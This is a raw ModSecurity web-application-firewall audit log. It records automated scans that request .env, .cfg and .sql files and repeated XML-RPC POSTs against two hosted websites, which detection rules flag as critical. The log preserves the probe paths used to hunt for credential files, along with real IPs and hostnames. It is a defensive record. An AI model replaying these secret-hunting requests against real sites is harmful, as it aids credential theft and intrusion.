"3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/stats/.env"] [unique_id "aE84qtxCjYf3vhjKXItyLwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022314859416 661699 (- - -) Stopwatch2: 1750022314859416 661699; combined=1928, p1=402, p2=1423, p3=0, p4=0, p5=103, sr=111, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d5168f04-Z-- --6dd89074-A-- [16/Jun/2025:02:48:44.630019 +0530] aE84s4l8S04UZ4l67-nb6gAAAAk 185.177.72.210 42632 127.0.0.1 7081 --6dd89074-B-- GET /:8000/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6dd89074-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6baaf05725b4be915215c2bb0c08ec821750022324; expires=Sun, 15 Jun 2025 22:18:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6dd89074-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/sicherung/.env"] [unique_id "aE84s4l8S04UZ4l67-nb6gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022323969473 660610 (- - -) Stopwatch2: 1750022323969473 660610; combined=1663, p1=322, p2=1250, p3=0, p4=0, p5=90, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6dd89074-Z-- --f2297908-A-- [16/Jun/2025:02:48:52.226349 +0530] aE84u9afa9gds5d-5EIr5AAAAAM 128.199.112.101 45668 127.0.0.1 7081 --f2297908-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f2297908-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f2297908-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE84u9afa9gds5d-5EIr5AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022331288548 937857 (- - -) Stopwatch2: 1750022331288548 937857; combined=2267, p1=387, p2=1467, p3=44, p4=81, p5=183, sr=107, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f2297908-Z-- --69f2980d-A-- [16/Jun/2025:02:49:06.905519 +0530] aE84yiHEjD4mqWjYVm17GgAAABM 185.177.72.210 38912 127.0.0.1 7081 --69f2980d-B-- GET /:8443/log/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --69f2980d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d4bc355254462f9657f4374ae4e96a111750022346; expires=Sun, 15 Jun 2025 22:19:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --69f2980d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/log/.env"] [unique_id "aE84yiHEjD4mqWjYVm17GgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022346243649 661943 (- - -) Stopwatch2: 1750022346243649 661943; combined=1840, p1=393, p2=1349, p3=0, p4=0, p5=97, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69f2980d-Z-- --deec8a43-A-- [16/Jun/2025:02:49:10.712108 +0530] aE84zol8S04UZ4l67-nb9QAAAAk 185.177.72.210 39548 127.0.0.1 7081 --deec8a43-B-- GET /kolab-syncroton/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --deec8a43-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ae5a6c164bea857a17508b8b2e2b093b1750022350; expires=Sun, 15 Jun 2025 22:19:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --deec8a43-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/kolab-syncroton/.env"] [unique_id "aE84zol8S04UZ4l67-nb9QAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022350065112 647061 (- - -) Stopwatch2: 1750022350065112 647061; combined=1827, p1=335, p2=1393, p3=0, p4=0, p5=98, sr=82, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --deec8a43-Z-- --c41c1139-A-- [16/Jun/2025:02:49:12.675224 +0530] aE840CHEjD4mqWjYVm17HQAAABM 185.177.72.210 39622 127.0.0.1 7081 --c41c1139-B-- GET /server.cfg HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c41c1139-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5760ca90635ab7f3a67e992b5c6511481750022352; expires=Sun, 15 Jun 2025 22:19:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c41c1139-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cfg"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/server.cfg"] [unique_id "aE840CHEjD4mqWjYVm17HQAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022352029670 645630 (- - -) Stopwatch2: 1750022352029670 645630; combined=1945, p1=331, p2=1500, p3=0, p4=0, p5=113, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c41c1139-Z-- --da1f9849-A-- [16/Jun/2025:02:49:30.651525 +0530] aE844meJgEpdIdHvkzydEAAAAAY 185.177.72.210 37160 127.0.0.1 7081 --da1f9849-B-- GET /df_main.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --da1f9849-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b34abbfe36b22786158b7f82722d32271750022370; expires=Sun, 15 Jun 2025 22:19:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --da1f9849-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/df_main.sql"] [unique_id "aE844meJgEpdIdHvkzydEAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022370012085 639518 (- - -) Stopwatch2: 1750022370012085 639518; combined=1777, p1=379, p2=1285, p3=0, p4=0, p5=113, sr=128, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --da1f9849-Z-- --3b851e04-A-- [16/Jun/2025:02:49:32.642476 +0530] aE8449afa9gds5d-5EIr9QAAAAM 185.177.72.210 37232 127.0.0.1 7081 --3b851e04-B-- GET /app/config/dev/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b851e04-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=21ff13ccc2dc2b438bdfeb9c8ea5bb821750022372; expires=Sun, 15 Jun 2025 22:19:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b851e04-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/config/dev/.env"] [unique_id "aE8449afa9gds5d-5EIr9QAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022371990341 652198 (- - -) Stopwatch2: 1750022371990341 652198; combined=2658, p1=509, p2=2052, p3=0, p4=0, p5=96, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b851e04-Z-- --75a8627b-A-- [16/Jun/2025:02:49:33.638711 +0530] aE845CHEjD4mqWjYVm17JwAAABM 185.177.72.210 37258 127.0.0.1 7081 --75a8627b-B-- GET /:9000/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75a8627b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a24ae3aa63e0641ee4e89d25f7a8752a1750022373; expires=Sun, 15 Jun 2025 22:19:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75a8627b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.debug"] [unique_id "aE845CHEjD4mqWjYVm17JwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022372986077 652712 (- - -) Stopwatch2: 1750022372986077 652712; combined=1839, p1=370, p2=1358, p3=0, p4=0, p5=110, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75a8627b-Z-- --1bac0c29-A-- [16/Jun/2025:02:49:52.111482 +0530] aE8491fWRcme38U-qk7rngAAAAI 128.199.112.101 52326 127.0.0.1 7081 --1bac0c29-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1bac0c29-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1bac0c29-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8491fWRcme38U-qk7rngAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022391187984 923553 (- - -) Stopwatch2: 1750022391187984 923553; combined=2136, p1=439, p2=1335, p3=40, p4=58, p5=166, sr=152, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1bac0c29-Z-- --063f1c5b-A-- [16/Jun/2025:02:50:51.990043 +0530] aE85M1fWRcme38U-qk7rtgAAAAI 128.199.112.101 56930 127.0.0.1 7081 --063f1c5b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --063f1c5b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --063f1c5b-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE85M1fWRcme38U-qk7rtgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022451006492 983615 (- - -) Stopwatch2: 1750022451006492 983615; combined=2079, p1=362, p2=1379, p3=34, p4=51, p5=159, sr=90, sw=94, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --063f1c5b-Z-- --1c16f636-A-- [16/Jun/2025:02:51:03.739788 +0530] aE85P3wizUED0-SK4eRLFAAAAAE 185.177.72.210 49412 127.0.0.1 7081 --1c16f636-B-- GET /:8880/test/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1c16f636-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88479d76d6a1f844d05bd9690d9a7cc31750022463; expires=Sun, 15 Jun 2025 22:21:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1c16f636-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/test/.env"] [unique_id "aE85P3wizUED0-SK4eRLFAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022463060934 678943 (- - -) Stopwatch2: 1750022463060934 678943; combined=1774, p1=430, p2=1220, p3=0, p4=0, p5=123, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1c16f636-Z-- --14f0a217-A-- [16/Jun/2025:02:51:06.804618 +0530] aE85Qol8S04UZ4l67-ncIAAAAAk 185.177.72.210 49546 127.0.0.1 7081 --14f0a217-B-- GET /laravel/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --14f0a217-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=912de9dd71ebe8ed1a069a27961538981750022466; expires=Sun, 15 Jun 2025 22:21:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --14f0a217-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/laravel/.env.staging"] [unique_id "aE85Qol8S04UZ4l67-ncIAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022466122582 682112 (- - -) Stopwatch2: 1750022466122582 682112; combined=1950, p1=397, p2=1464, p3=0, p4=0, p5=88, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --14f0a217-Z-- --89f3a976-A-- [16/Jun/2025:02:51:10.380644 +0530] aE85RXwizUED0-SK4eRLFwAAAAE 185.177.72.210 46010 127.0.0.1 7081 --89f3a976-B-- GET /:8888/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --89f3a976-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4fa28913b8abd7014427f691c399adac1750022470; expires=Sun, 15 Jun 2025 22:21:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --89f3a976-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/api/.env"] [unique_id "aE85RXwizUED0-SK4eRLFwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750022469672706 708002 (- - -) Stopwatch2: 1750022469672706 708002; combined=1939, p1=374, p2=1473, p3=0, p4=0, p5=91, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --89f3a976-Z-- --97f21031-A-- [16/Jun/2025:02:51:11.374821 +0530] aE85RiHEjD4mqWjYVm17TAAAABM 185.177.72.210 46066 127.0.0.1 7081 --97f21031-B-- GET /:8181/wp-content/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 